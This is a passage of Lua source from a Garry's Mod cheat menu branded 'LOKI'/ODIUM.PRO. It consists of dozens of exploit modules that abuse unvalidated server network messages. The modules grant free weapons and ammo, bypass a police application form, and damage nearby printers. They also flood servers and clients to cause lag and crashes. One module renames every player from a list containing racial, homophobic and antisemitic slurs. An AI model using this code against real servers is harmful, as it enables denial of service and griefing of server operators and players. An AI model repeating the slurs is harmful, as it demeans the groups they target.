  4896. LOKI.AddExploit( "Weapons Exploit", {
  4897. desc = "Give yourself any weapon",
  4898. severity = 50,
  4899. bools = {enabled = false},
  4900. status = -1,
  4901. times_per_tick = math.huge,
  4902. scan = function() return LOKI.ValidNetString( "SquadGiveWeapon" ) end,
  4903. hooks = {
  4904. Think = function(tbl, sploit)
  4905. LOKI.NetStart( sploit, "SquadGiveWeapon" )
  4906. net.WriteString(LOKI.GetStored( "weapons3" ))
  4907. net.WriteEntity(LOKI.GetLP())
  4908. net.SendToServer()
  4909. end,
  4910. },
  4911. functions = {
  4912. { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons3" },
  4913. { typ = "func", Name = "Give me artillery", },
  4914. },
  4915. } )
  4916. LOKI.AddExploit( "Weapons Exploit", {
  4917. desc = "Give yourself any weapon. (works but requires an admin to have used !give at least once since server start)",
  4918. severity = 50,
  4919. bools = {enabled = false},
  4920. status = 1,
  4921. times_per_tick = 1,
  4922. vars = {},
  4923. scan = function() return LOKI.ValidNetString( "giveweapon" ) end,
  4924. hooks = {
  4925. Think = function(tbl, sploit)
  4926. LOKI.NetStart( sploit, "giveweapon")
  4927. net.WriteString(LOKI.GetStored( "weapons4" ))
  4928. net.SendToServer()
  4929. end,
  4930. },
  4931. functions = {
  4932. { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons4" },
  4933. { typ = "func", Name = "Give me artillery", },
  4934. },
  4935. } )
  4936. LOKI.AddExploit( "Weapons Exploit", {
  4937. desc = "Give yourself any weapon",
  4938. severity = 50,
  4939. bools = {enabled = false},
  4940. status = 1,
  4941. times_per_tick = 1,
  4942. vars = {},
  4943. scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
  4944. hooks = {
  4945. Think = function(tbl, sploit)
  4946. LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY")
  4947. net.WriteTable({type = 4, SWEP = LOKI.GetStored( "weapons5" ), SKIN = 0})
  4948. net.WriteInt(0, 16)
  4949. net.WriteString(tostring(CRAFTINGMOD.PANELS.Inventory_ID))
  4950. net.SendToServer()
  4951. end,
  4952. },
  4953. functions = {
  4954. { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons5" },
  4955. { typ = "func", Name = "Give me artillery", },
  4956. },
  4957. } )
  4958. LOKI.AddExploit( "Weapons Exploit", {
  4959. desc = "Give or take weapons to/from yourself",
  4960. severity = 50,
  4961. bools = {enabled = false},
  4962. status = 1,
  4963. times_per_tick = 1,
  4964. vars = {},
  4965. scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
  4966. hooks = {
  4967. Think = function(tbl, sploit)
  4968. local weaps = {}
  4969. LOKI.NetStart(sploit, "dialogAlterWeapons", true)
  4970. net.WriteString( tbl[1] )
  4971. if(tbl[2] == "All") then
  4972. if(tbl[1] == "Remove") then
  4973. for k1, v1 in pairs(v:GetWeapons()) do
  4974. table.insert(weaps, v1:GetClass())
  4975. end
  4976. elseif(tbl[1] == "Add") then
  4977. for k1, v1 in pairs(weapons.GetList()) do
  4978. weaps[#weaps+1] = v1.ClassName
  4979. end
  4980. end
  4981. else
  4982. weaps = string.Split( LOKI.GetStored("scpwx_weaps", "weapon_rpg,weapon_smg1"), "," )
  4983. end
  4984. net.WriteTable( weaps )
  4985. net.WriteEntity( LOKI.GetLP() )
  4986. net.SendToServer()
  4987. end,
  4988. },
  4989. functions = {
  4990. { typ = "string", Name = "Weapons", default = "weapon_rpg,weapon_smg1", addr = "scpwx_weaps" },
  4991. { typ = "func", Name = "Give", args = {"Add"} },
  4992. { typ = "func", Name = "Take", args = {"Remove"} },
  4993. { typ = "func", Name = "Strip", args = {"Remove", "All"} },
  4994. { typ = "func", Name = "Give All", args = {"Add", "All"} },
  4995. },
  4996. } )
  4997. LOKI.AddExploit( "Weapons Exploit", {
  4998. desc = "Give yourself any weapon",
  4999. severity = 50,
  5000. bools = {enabled = false},
  5001. status = 1,
  5002. times_per_tick = 1,
  5003. vars = {},
  5004. scan = function() return LOKI.ValidNetString( "R_PERM.BuyFromShopNPC" ) end,
  5005. hooks = {
  5006. Think = function(tbl, sploit)
  5007. LOKI.NetStart(sploit, "R_PERM.BuyFromShopNPC")
  5008. net.WriteTable({type="Weapon",class=LOKI.GetStored( "weapons6" ),price=0})
  5009. net.SendToServer()
  5010. end,
  5011. },
  5012. functions = {
  5013. { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons6" },
  5014. { typ = "func", Name = "Give me artillery", },
  5015. },
  5016. } )
  5017. LOKI.AddExploit( "Weapons Exploit", {
  5018. desc = "Give yourself default weapons",
  5019. severity = 50,
  5020. bools = {enabled = false},
  5021. status = 1,
  5022. times_per_tick = 1,
  5023. vars = {},
  5024. scan = function() return LOKI.ValidNetString( "XMH_HandleWeapons" ) end,
  5025. hooks = {
  5026. Think = function(tbl, sploit)
  5027. LOKI.NetStart(sploit, "XMH_HandleWeapons")
  5028. net.WriteString("xmh_givehl2weapons")
  5029. net.SendToServer()
  5030. LOKI.NetStart(sploit, "XMH_HandleWeapons")
  5031. net.WriteString("xmh_givegmweapons")
  5032. net.SendToServer()
  5033. end,
  5034. },
  5035. functions = {
  5036. { typ = "func", Name = "Give me artillery", },
  5037. },
  5038. } )
  5039. LOKI.AddExploit( "Ammo Exploit", {
  5040. desc = "Get unlimited ammo for every weapon",
  5041. severity = 50,
  5042. bools = {enabled = false},
  5043. status = -1,
  5044. times_per_tick = math.huge,
  5045. prevalidated = true,
  5046. scan = function() return LOKI.ValidNetString( "TCBBuyAmmo" ) && net.Receivers["tcbsendammo"] end,
  5047. hooks = {
  5048. Think = function(tbl, sploit)
  5049. for k,v in pairs(GAMEMODE.AmmoTypes) do
  5050. LOKI.NetStart(sploit, "TCBBuyAmmo")
  5051. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  5052. net.SendToServer()
  5053. end
  5054. end,
  5055. },
  5056. functions = {
  5057. { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons2" },
  5058. { typ = "func", Name = "Give me artillery", },
  5059. },
  5060. } )
  5061. LOKI.AddExploit( "Join Police", {
  5062. desc = "Join the police force without going through the fucking form",
  5063. severity = 50,
  5064. bools = {enabled = false},
  5065. status = -1,
  5066. times_per_tick = math.huge,
  5067. scan = function() return LOKI.ValidNetString( "PoliceJoin" ) end,
  5068. hooks = {
  5069. Think = function(tbl, sploit)
  5070. LOKI.NetStart( sploit, "PoliceJoin" )
  5071. net.SendToServer()
  5072. end,
  5073. },
  5074. functions = {
  5075. { typ = "func", Name = "Become a cop", },
  5076. },
  5077. } )
  5078. LOKI.AddExploit( "Join Police", {
  5079. desc = "Join the police force without going through the fucking form",
  5080. severity = 50,
  5081. bools = {enabled = false},
  5082. status = -1,
  5083. times_per_tick = math.huge,
  5084. scan = function() return LOKI.ValidNetString( "CpForm_Answers" ) end,
  5085. hooks = {
  5086. Think = function(tbl, sploit)
  5087. LOKI.NetStart( sploit, "CpForm_Answers")
  5088. net.WriteEntity(LOKI.GetLP())
  5089. net.WriteTable({})
  5090. net.SendToServer()
  5091. end,
  5092. },
  5093. functions = {
  5094. { typ = "func", Name = "Become a cop", },
  5095. },
  5096. } )
  5097. LOKI.AddExploit( "Printer Smasher", {
  5098. desc = "Apply constant damage to any printers nearby",
  5099. severity = 50,
  5100. bools = {enabled = false},
  5101. status = 1,
  5102. msgs_per_tick = 3,
  5103. times_per_tick = 1,
  5104. vars = {},
  5105. scan = function() return LOKI.ValidNetString( "customprinter_get" ) end,
  5106. hooks = {
  5107. Tick = function(tbl, sploit)
  5108. for k, v in ipairs( LOKI.ents.FindByGlobal("IsCustomHQ") ) do
  5109. if ( v:GetPos():Distance( LOKI.GetLP():GetPos() ) <= 750 ) then
  5110. LOKI.NetStart( sploit, "customprinter_get")
  5111. net.WriteEntity(v)
  5112. net.WriteString("onoff")
  5113. net.SendToServer()
  5114. LOKI.NetStart( sploit, "customprinter_get")
  5115. net.WriteEntity(v)
  5116. net.WriteString("c_off")
  5117. net.SendToServer()
  5118. LOKI.NetStart( sploit, "customprinter_get")
  5119. net.WriteEntity(v)
  5120. net.WriteString("p_up")
  5121. net.SendToServer()
  5122. end
  5123. end
  5124. end,
  5125. },
  5126. functions = {
  5127. { typ = "bool", },
  5128. },
  5129. } )
  5130. local Names = { "Nigger", "Faggot", "Kike", "Cuckmaster", "Skid", "GetODIUM.PRO", "ODIUM.PRO", "Shit", "Piss", "Permavirgin", "CitizenRat", "Feminist", "Fuckhead", "Cunt", "ODIUM.PRO", "CockWart", "DickTickle", "FuckAdmins", "Paidmin", "ShitServer" }
  5131. LOKI.AddExploit( "Name Changer", {
  5132. desc = "Destroy everybodys RPNames",
  5133. severity = 50,
  5134. bools = {enabled = false},
  5135. status = 2,
  5136. times_per_tick = 1,
  5137. vars = {},
  5138. scan = function() return LOKI.ValidNetString( "NC_GetNameChange" ) end,
  5139. hooks = {
  5140. Think = function(tbl, sploit)
  5141. for k, v in ipairs( player.GetAll() ) do
  5142. LOKI.NetStart( sploit, "NC_GetNameChange")
  5143. net.WriteEntity(v)
  5144. net.WriteString(table.Random(Names))
  5145. net.WriteString(table.Random(Names))
  5146. net.SendToServer()
  5147. end
  5148. end,
  5149. },
  5150. functions = {
  5151. { typ = "bool", },
  5152. },
  5153. } )
  5154. LOKI.AddExploit( "Lagsploit", {
  5155. desc = "Lag the shit out of the server",
  5156. severity = 100,
  5157. bools = {enabled = false},
  5158. status = 1,
  5159. msgs_per_tick = 3,
  5160. times_per_tick = 300,
  5161. prevalidated = true,
  5162. scan = function() return LOKI.ValidNetString( "ATS_WARP_REMOVE_CLIENT", "ATS_WARP_FROM_CLIENT", "ATS_WARP_VIEWOWNER" ) end,
  5163. hooks = {
  5164. Think = function(tbl, sploit)
  5165. LOKI.NetStart( sploit, "ATS_WARP_REMOVE_CLIENT" )
  5166. net.WriteEntity( LOKI.GetLP() )
  5167. net.WriteString( "adminroom1" )
  5168. net.SendToServer()
  5169. LOKI.NetStart( sploit, "ATS_WARP_FROM_CLIENT" )
  5170. net.WriteEntity( LOKI.GetLP() )
  5171. net.WriteString( "adminroom1" )
  5172. net.SendToServer()
  5173. LOKI.NetStart( sploit, "ATS_WARP_VIEWOWNER" )
  5174. net.WriteEntity( LOKI.GetLP() )
  5175. net.WriteString( "adminroom1" )
  5176. net.SendToServer()
  5177. end,
  5178. },
  5179. functions = {
  5180. { typ = "bool", },
  5181. },
  5182. } )
  5183. LOKI.AddExploit( "Lagsploit", {
  5184. desc = "Lag the shit out of the server",
  5185. severity = 90,
  5186. bools = {enabled = false},
  5187. status = 3,
  5188. msgs_per_tick = function() return player.GetCount * 3 end,
  5189. times_per_tick = math.huge,
  5190. prevalidated = true,
  5191. scan = function() return LOKI.ValidNetString( "CFCreateGame", "CFJoinGame", "CFRemoveGame", "CFEndGame" ) end,
  5192. hooks = {
  5193. Think = function(tbl, sploit)
  5194. for k,v in ipairs(player.GetAll()) do
  5195. LOKI.NetStart( sploit, "CFRemoveGame" )
  5196. net.WriteFloat( math.Round( "10000\n" ) )
  5197. net.SendToServer()
  5198. LOKI.NetStart( sploit, "CFJoinGame" )
  5199. net.WriteFloat( math.Round( "10000\n" ) )
  5200. net.SendToServer()
  5201. LOKI.NetStart( sploit, "CFEndGame" )
  5202. net.WriteFloat( "10000\n" )
  5203. net.SendToServer()
  5204. end
  5205. end,
  5206. },
  5207. functions = {
  5208. { typ = "bool", },
  5209. },
  5210. } )
  5211. LOKI.AddExploit( "Lagsploit", {
  5212. desc = "Moves the server onto an african ISP (Discovered by niku)",
  5213. severity = 100,
  5214. bools = {enabled = false},
  5215. status = 1,
  5216. times_per_tick = math.huge,
  5217. scan = function() return LOKI.ValidNetString( "CreateCase" ) end,
  5218. hooks = {
  5219. Think = function(tbl, sploit)
  5220. LOKI.NetStart( sploit, "CreateCase" )
  5221. net.WriteString( "tapped by ODIUM.PRO" )
  5222. net.SendToServer()
  5223. end,
  5224. },
  5225. functions = {
  5226. { typ = "bool", },
  5227. },
  5228. } )
  5229. LOKI.AddExploit( "Lagsploit", {
  5230. desc = "Gee I wonder what this does",
  5231. severity = 90,
  5232. bools = {enabled = false},
  5233. status = 1,
  5234. times_per_tick = math.huge,
  5235. scan = function() return LOKI.ValidNetString( "rprotect_terminal_settings" ) end,
  5236. hooks = {
  5237. Think = function(tbl, sploit)
  5238. LOKI.NetStart( sploit, "rprotect_terminal_settings" )
  5239. net.SendToServer()
  5240. end,
  5241. },
  5242. functions = {
  5243. { typ = "bool", },
  5244. },
  5245. } )
  5246. LOKI.AddExploit( "Lagsploit", {
  5247. desc = "Causes more lag on servers already lagging",
  5248. severity = 90,
  5249. bools = {enabled = false},
  5250. status = 1,
  5251. times_per_tick = math.huge,
  5252. scan = function() return LOKI.ValidNetString( "StackGhost" ) end,
  5253. hooks = {
  5254. Think = function(tbl, sploit)
  5255. LOKI.NetStart( sploit, "StackGhost" )
  5256. net.WriteInt(0xFFFFFFFF,32)
  5257. net.SendToServer()
  5258. end,
  5259. },
  5260. functions = {
  5261. { typ = "bool", },
  5262. },
  5263. } )
  5264. LOKI.AddExploit( "Lagsploit", {
  5265. desc = "Instantly brings large servers to a crawl",
  5266. severity = 100,
  5267. bools = {enabled = false},
  5268. status = 1,
  5269. times_per_tick = math.huge,
  5270. scan = function() return LOKI.ValidNetString( "tbfy_surrender" ) end,
  5271. hooks = {
  5272. Think = function(tbl, sploit)
  5273. LOKI.NetStart( sploit, "tbfy_surrender")
  5274. net.SendToServer()
  5275. end,
  5276. },
  5277. functions = {
  5278. { typ = "bool", },
  5279. },
  5280. } )
  5281. LOKI.AddExploit( "Lagsploit", {
  5282. desc = "Creates a lot of lag",
  5283. severity = 95,
  5284. bools = {enabled = true},
  5285. status = 1,
  5286. msgs_per_tick = LOKI.GetEnabledCount,
  5287. times_per_tick = math.huge,
  5288. scan = function() return LOKI.DynamicNetString( "RXCar" ) end,
  5289. hooks = {
  5290. Think = function(tbl, sploit)
  5291. LOKI.MultiSend(sploit)
  5292. end,
  5293. },
  5294. functions = {
  5295. { typ = "bools", tbl = {"RXCar_BuyCar_C2S", "RXCAR_UpdateINVCar_C2S", "RXCAR_Shop_Store_C2S", "RXCAR_Shop_Sell_C2S", "RXCAR_RespawnINV_C2S", "RXCAR_SellINVCar_C2S", "RXCAR_Shop_Buy_C2S", "RXCAR_RequestTuneData_C2S"}}
  5296. },
  5297. } )
  5298. LOKI.AddExploit( "Lagsploit", {
  5299. desc = "Creates a lot of lag",
  5300. severity = 90,
  5301. bools = {enabled = false},
  5302. status = 2,
  5303. times_per_tick = math.huge,
  5304. scan = function() return LOKI.ValidNetString( "NewReport" ) end,
  5305. hooks = {
  5306. Think = function(tbl, sploit)
  5307. LOKI.NetStart( sploit, "NewReport" )
  5308. net.SendToServer()
  5309. end,
  5310. },
  5311. functions = {
  5312. { typ = "bool", },
  5313. },
  5314. } )
  5315. LOKI.AddExploit( "Client Lagger", {
  5316. desc = "Causes ALL players to lag out",
  5317. severity = 100,
  5318. bools = {enabled = false},
  5319. status = 1,
  5320. msgs_per_tick = 2,
  5321. times_per_tick = math.huge,
  5322. prevalidated = true,
  5323. scan = function() local num = LOKI.RecursiveGetVar(CF, {"FlipPriceMinimum"}, "number") return LOKI.ValidNetString( "CFCreateGame", "CFJoinGame", "CFRemoveGame", "CFEndGame" ) end, --&& isnumber(num) && num <= 0 end,
  5324. hooks = {
  5325. Think = function(tbl, sploit)
  5326. LOKI.NetStart( sploit, "CFCreateGame" )
  5327. net.WriteFloat( 0 )
  5328. net.WriteFloat( 0 )
  5329. net.SendToServer()
  5330. end,
  5331. net = {
  5332. Receive = function(sploit, strName)
  5333. if(strName == "CFAnnounce") then
  5334. return false
  5335. end
  5336. end,
  5337. },
  5338. },
  5339. functions = {
  5340. { typ = "bool", },
  5341. },
  5342. } )
  5343. LOKI.AddExploit( "Client Lagger", {
  5344. desc = "Causes players to lag out",
  5345. severity = 100,
  5346. bools = {enabled = false},
  5347. status = 1,
  5348. msgs_per_tick = function(sploit) return #LOKI.GetStored( "clagger1_plyz", {} ) end,
  5349. times_per_tick = math.huge,
  5350. scan = function() return LOKI.ValidNetString( "PrtToPlayers" ) end,
  5351. hooks = {
  5352. Think = function(tbl, sploit)
  5353. for k, v in ipairs(LOKI.GetStored( "clagger1_plyz", {} )) do
  5354. if IsValid(v) then
  5355. LOKI.NetStart( sploit, "PrtToPlayers" )
  5356. net.WriteEntity(v)
  5357. net.SendToServer()
  5358. end
  5359. end
  5360. end,
  5361. },
  5362. functions = {
  5363. { typ = "players", addr = "clagger1_plyz" },
  5364. { typ = "bool", },
  5365. },
  5366. } )
  5367. LOKI.AddExploit( "Client Lagger", {
  5368. desc = "Mom get off the phone I'm trying to play Runescape!",
  5369. severity = 100,
  5370. bools = {enabled = false},
  5371. status = 1,
  5372. times_per_tick = math.huge,
  5373. scan = function() return LOKI.ValidNetString("scoreboard.country") end,
  5374. hooks = {
  5375. Think = function(tbl, sploit)
  5376. LOKI.NetStart(sploit, "scoreboard.country")
  5377. net.WriteString(system.GetCountry())
  5378. net.SendToServer()
  5379. end,
  5380. net = {
  5381. Receive = function(sploit, strName)
  5382. if(strName == "scoreboard.country") then
  5383. return false
  5384. end
  5385. end,
  5386. },
  5387. },
  5388. functions = {
  5389. { typ = "bool", },
  5390. },
  5391. } )
  5392. LOKI.AddExploit( "Client Lagger", {
  5393. desc = "Dial-up internet bro!",
  5394. severity = 100,
  5395. bools = {enabled = false},
  5396. status = 1,
  5397. times_per_tick = math.huge,
  5398. scan = function() return LOKI.ValidNetString("gMining.registerWeapon") end,
  5399. hooks = {
  5400. Think = function(tbl, sploit)
  5401. LOKI.NetStart(sploit, "gMining.registerWeapon")
  5402. net.WriteTable({})
  5403. net.SendToServer()
  5404. end,
  5405. },
  5406. functions = {
  5407. { typ = "bool", },
  5408. },
  5409. } )
  5410. LOKI.AddExploit( "Client Lagger", {
  5411. desc = "Dab on the players",
  5412. severity = 100,
  5413. bools = {enabled = false},
  5414. status = 2,
  5415. times_per_tick = math.huge,
  5416. scan = function() return LOKI.ValidNetString("JukeBox_PlayersTunedIn") end,
  5417. hooks = {
  5418. Think = function(tbl, sploit)
  5419. LOKI.NetStart(sploit, "JukeBox_PlayersTunedIn")
  5420. net.SendToServer()
  5421. end,
  5422. },
  5423. functions = {
  5424. { typ = "bool", },
  5425. },
  5426. } )
  5427. LOKI.AddExploit( "Client Lagger", {
  5428. desc = "Remind everyone what it feels like to game on a notebook",
  5429. severity = 100,
  5430. bools = {enabled = false},
  5431. status = 1,
  5432. times_per_tick = math.huge,
  5433. scan = function() return LOKI.ValidNetString("pac_to_contraption") end,
  5434. hooks = {
  5435. Think = function(tbl, sploit)
  5436. local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "tbl"}, "table", true)
  5437. if(!tbl || #tbl == 0) then
  5438. for i=1,60 do
  5439. tbl[#tbl + 1] = {id = i, mdl = "models/error.mdl", pos = Vector(0,0,0), ang = Angle(0,0,0), clr = Color(0,0,0), skn = 0}
  5440. end
  5441. end
  5442. LOKI.NetStart( sploit, "pac_to_contraption" )
  5443. net.WriteTable( tbl )
  5444. net.SendToServer()
  5445. end,
  5446. },
  5447. functions = {
  5448. { typ = "bool", },
  5449. },
  5450. } )
  5451. LOKI.AddExploit( "Client Lagger", {
  5452. desc = "Lag out all nearby players",
  5453. severity = 100,
  5454. bools = {enabled = false},
  5455. status = 1,
  5456. times_per_tick = math.huge,
  5457. prevalidated = true,
  5458. scan = function() return (LOKI.ValidNetString( "bodyman_model_change" ) && istable(BODYMAN)) end,
  5459. hooks = {
  5460. Think = function(tbl, sploit)
  5461. LOKI.NetStart( sploit, "bodyman_model_change")
  5462. net.WriteInt( 0, 8 )
  5463. net.SendToServer()
  5464. end,
  5465. },
  5466. functions = {
  5467. { typ = "bool", },
  5468. },
  5469. } )
  5470. LOKI.AddExploit( "Client Lagger", {
  5471. desc = "Mom get off the phone I'm trying to play Runescape!",
  5472. severity = 100,
  5473. bools = {enabled = false},
  5474. status = 1,
  5475. times_per_tick = math.huge,
  5476. prevalidated = true,
  5477. scan = function() return LOKI.ValidNetString("GotCountry") && istable(playerCountryTable) end,
  5478. hooks = {
  5479. Think = function(tbl, sploit)
  5480. LOKI.NetStart(sploit, "GotCountry")
  5481. net.WriteString(LOKI.GetStored("clc1", system.GetCountry()))
  5482. net.SendToServer()
  5483. end,
  5484. net = {
  5485. Receive = function(sploit, strName)
  5486. if(strName == "CountryToTable") then
  5487. return false
  5488. end
  5489. end,
  5490. },
  5491. },
  5492. functions = {
  5493. { typ = "bool", },
  5494. { typ = "string", Name = "Country (ISO 3166-1)", default = system.GetCountry(), addr = "clc1" },
  5495. },
  5496. } )
  5497. LOKI.AddExploit( "Lagsploit", {
  5498. desc = "Causes lag and bombs the server console",
  5499. severity = 95,
  5500. bools = {enabled = false},
  5501. status = 1,
  5502. times_per_tick = math.huge,
  5503. scan = function() return LOKI.ValidNetString( "steamid2" ) end,
  5504. hooks = {
  5505. Think = function(tbl, sploit)
  5506. LOKI.NetStart( sploit, "steamid2" )
  5507. net.WriteString( "ODIUM.PRO > ALL" )
  5508. net.SendToServer()
  5509. end,
  5510. },
  5511. functions = {
  5512. { typ = "bool", },
  5513. },
  5514. } )
  5515. LOKI.AddExploit( "Lagsploit", {
  5516. desc = "Poison the server",
  5517. severity = 95,
  5518. bools = {enabled = false},
  5519. status = 1,
  5520. times_per_tick = math.huge,
  5521. scan = function() return LOKI.ValidNetString( "start_alch" ) end,
  5522. hooks = {
  5523. Think = function(tbl, sploit)
  5524. LOKI.NetStart( sploit, "start_alch")
  5525. net.SendToServer()
  5526. end,
  5527. },
  5528. functions = {
  5529. { typ = "bool", },
  5530. },
  5531. } )
  5532. LOKI.AddExploit( "Lagsploit", {
  5533. desc = "OMG DDOS!?!?",
  5534. severity = 95,
  5535. bools = {enabled = true},
  5536. status = 1,
  5537. msgs_per_tick = LOKI.GetEnabledCount,
  5538. times_per_tick = math.huge,
  5539. scan = function() return LOKI.DynamicNetString( "netKeycard" ) || LOKI.DynamicNetString( "netFKeycard" ) end,
  5540. hooks = {
  5541. Think = function(tbl, sploit)
  5542. LOKI.MultiSend(sploit, function()
  5543. net.WriteEntity(LOKI.GetLP())
  5544. end)
  5545. end,
  5546. },
  5547. functions = {
  5548. { typ = "bools", tbl = {"netFKeycardAdminSpawn", "netFKeycardSpawn", "netFKeycardHackSpawn", "netFKeycardSAddLevel", "netFKeycardSRemoveLevel", "netKeycardSAddPlayer", "netKeycardSRemovePlayer", "netKeycardSpawn", "netKeycardHackSpawn", "netKeycardAdminSpawn"}}
  5549. },
  5550. } )
  5551. LOKI.AddExploit( "Lagsploit", {
  5552. desc = "Few second lag spikes at best but could probably cripple some smaller servers",
  5553. severity = 90,
  5554. bools = {enabled = false},
  5555. status = 1,
  5556. times_per_tick = math.huge,
  5557. scan = function() return LOKI.ValidNetString( "ctOS-Box-Hacked" ) end,
  5558. hooks = {
  5559. Think = function(tbl, sploit)
  5560. LOKI.NetStart( sploit, "ctOS-Box-Hacked")
  5561. net.WriteEntity(LOKI.GetLP())
  5562. net.SendToServer()
  5563. end,
  5564. },
  5565. functions = {
  5566. { typ = "bool", },
  5567. },
  5568. } )
  5569. LOKI.AddExploit( "Lagsploit", {
  5570. desc = "Meant to cause excessive lag but ends up just overflowing local host, needs work",
  5571. severity = 50,
  5572. bools = {enabled = false},
  5573. status = 1,
  5574. times_per_tick = math.huge,
  5575. vars = {},
  5576. scan = function() return LOKI.ValidNetString( "ViewClaims" ) end,
  5577. hooks = {
  5578. Think = function(tbl, sploit)
  5579. LOKI.NetStart( sploit, "ViewClaims")
  5580. net.SendToServer()
  5581. end,
  5582. net = {
  5583. Receive = function(sploit, strName)
  5584. if(strName == "ViewClaims") then
  5585. return false
  5586. end
  5587. end,
  5588. },
  5589. },
  5590. functions = {
  5591. { typ = "bool", },
  5592. },
  5593. } )
  5594. /*local pModel = 0;
  5595. LOKI.AddExploit( "Lagsploit", {
  5596. desc = "Causes lag as well as either T-Posing you or breaking your anims",
  5597. severity = 90,
  5598. bools = {enabled = false},
  5599. status = 1,
  5600. times_per_tick = math.huge,
  5601. prevalidated = true,
  5602. scan = function() return (LOKI.ValidNetString( "bodyman_model_change" ) && LOKI.GetLP().getJobTable != nil) end,
  5603. hooks = {
  5604. Think = function(tbl, sploit)
  5605. local job = LOKI.GetLP():getJobTable()
  5606. local playermodels = job.model
  5607. if pModel < #playermodels then
  5608. pModel = pModel + 1
  5609. LOKI.NetStart( sploit, "bodyman_model_change")
  5610. net.WriteInt( pModel, 8 )
  5611. net.SendToServer()
  5612. else
  5613. pModel = 0
  5614. end
  5615. end,
  5616. },
  5617. functions = {
  5618. { typ = "bool", },
  5619. },
  5620. } )*/
  5621. LOKI.AddExploit( "Lagsploit", {
  5622. desc = "Drag the server to it's knees",
  5623. severity = 100,
  5624. bools = {enabled = false},
  5625. status = 1,
  5626. times_per_tick = math.huge,
  5627. scan = function() return LOKI.ValidNetString( "DW_GUNLAB_UPDATEORB" ) end,
  5628. hooks = {
  5629. Think = function(tbl, sploit)
  5630. LOKI.NetStart( sploit, "DW_GUNLAB_UPDATEORB")
  5631. for i = 1, 4 do
  5632. net.WriteInt(i,4)
  5633. end
  5634. net.WriteInt(LOKI.GetLP():EntIndex(), 32)
  5635. net.SendToServer()
  5636. end,
  5637. },
  5638. functions = {
  5639. { typ = "bool", },
  5640. },
  5641. } )
  5642. LOKI.AddExploit( "Lagsploit", {
  5643. desc = "Relatively strong exploit, can cause 5-10 second spikes",
  5644. severity = 90,
  5645. bools = {enabled = false},
  5646. status = 1,
  5647. times_per_tick = math.huge,
  5648. scan = function() return LOKI.ValidNetString( "DW_PLAYSONG" ) end,
  5649. hooks = {
  5650. Think = function(tbl, sploit)
  5651. LOKI.NetStart( sploit, "DW_PLAYSONG")
  5652. net.SendToServer()
  5653. end,
  5654. },
  5655. functions = {
  5656. { typ = "bool", },
  5657. },
  5658. } )
  5659. LOKI.AddExploit( "Lagsploit", {
  5660. desc = "Imagine playing on a server in China while torrenting",
  5661. severity = 90,
  5662. bools = {enabled = false},
  5663. status = 1,
  5664. times_per_tick = math.huge,
  5665. scan = function() return LOKI.ValidNetString( "selfportrait_idonthavehands" ) end,
  5666. hooks = {
  5667. Think = function(tbl, sploit)
  5668. LOKI.NetStart( sploit, "selfportrait_idonthavehands")
  5669. net.SendToServer()
  5670. end,
  5671. },
  5672. functions = {
  5673. { typ = "bool", },
  5674. },
  5675. } )
  5676. LOKI.AddExploit( "Lagsploit", {
  5677. desc = "Causes some pretty hectic spikes",
  5678. severity = 90,
  5679. bools = {enabled = false},
  5680. status = 1,
  5681. times_per_tick = math.huge,
  5682. scan = function() return LOKI.ValidNetString( "dw_toggle_item" ) end,
  5683. hooks = {
  5684. Think = function(tbl, sploit)
  5685. LOKI.NetStart( sploit, "dw_toggle_item")
  5686. net.SendToServer()
  5687. end,
  5688. },
  5689. functions = {
  5690. { typ = "bool", },
  5691. },
  5692. } )
  5693. LOKI.AddExploit( "Lagsploit", {
  5694. desc = "Few seconds of lag at a time, just enough to be annoying",
  5695. severity = 90,
  5696. bools = {enabled = false},
  5697. status = 1,
  5698. times_per_tick = math.huge,
  5699. scan = function() return LOKI.ValidNetString( "tupacBail.bailPlayer" ) end,
  5700. hooks = {
  5701. Think = function(tbl, sploit)
  5702. LOKI.NetStart( sploit, 'tupacBail.bailPlayer' )
  5703. net.SendToServer()
  5704. end,
  5705. },
  5706. functions = {
  5707. { typ = "bool", },
  5708. },
  5709. } )
  5710. LOKI.AddExploit( "Lagsploit", {
  5711. desc = "Fill the servers vulnerable little holes",
  5712. severity = 95,
  5713. bools = {enabled = false},
  5714. status = 1,
  5715. times_per_tick = math.huge,
  5716. prevalidated = true,
  5717. scan = function() return (ulx && ulx.friends && LOKI.ValidNetString( "sendtable" )) end,
  5718. hooks = {
  5719. Think = function(tbl, sploit)
  5720. LOKI.NetStart( sploit, "sendtable" )
  5721. net.SendToServer()
  5722. end,
  5723. },
  5724. functions = {
  5725. { typ = "bool", },
  5726. },
  5727. } )
  5728. LOKI.AddExploit( "Lagsploit", {
  5729. desc = "Brutalize the poor unsuspecting server",
  5730. severity = 100,
  5731. bools = {enabled = false},
  5732. status = 1,
  5733. times_per_tick = math.huge,
  5734. scan = function() return LOKI.ValidNetString( "vloot_pickup_request" ) end,
  5735. hooks = {
  5736. Think = function(tbl, sploit)
  5737. LOKI.NetStart( sploit, "vloot_pickup_request" )
  5738. net.SendToServer()
  5739. end,
  5740. },
  5741. functions = {
  5742. { typ = "bool", },
  5743. },
  5744. } )
  5745. LOKI.AddExploit( "Lagsploit", {
  5746. desc = "Remember kids, always trust the client",
  5747. severity = 90,
  5748. bools = {enabled = false},
  5749. status = 1,
  5750. times_per_tick = math.huge,
  5751. scan = function() return LOKI.ValidNetString( "disguise" ) end,
  5752. hooks = {
  5753. Think = function(tbl, sploit)
  5754. LOKI.NetStart( sploit, "disguise" )
  5755. net.WriteInt(0xFFFFFFFF, 32)
  5756. net.SendToServer()
  5757. end,
  5758. },
  5759. functions = {
  5760. { typ = "bool", },
  5761. },
  5762. } )
  5763. LOKI.AddExploit( "Lagsploit", {
  5764. desc = "Brew a 0xFFFFFFFF potion",
  5765. severity = 95,
  5766. bools = {enabled = false},
  5767. status = 1,
  5768. times_per_tick = math.huge,
  5769. scan = function() return LOKI.ValidNetString( "NET_AM_MakePotion" ) end,
  5770. hooks = {
  5771. Think = function(tbl, sploit)
  5772. LOKI.NetStart( sploit, "NET_AM_MakePotion" )
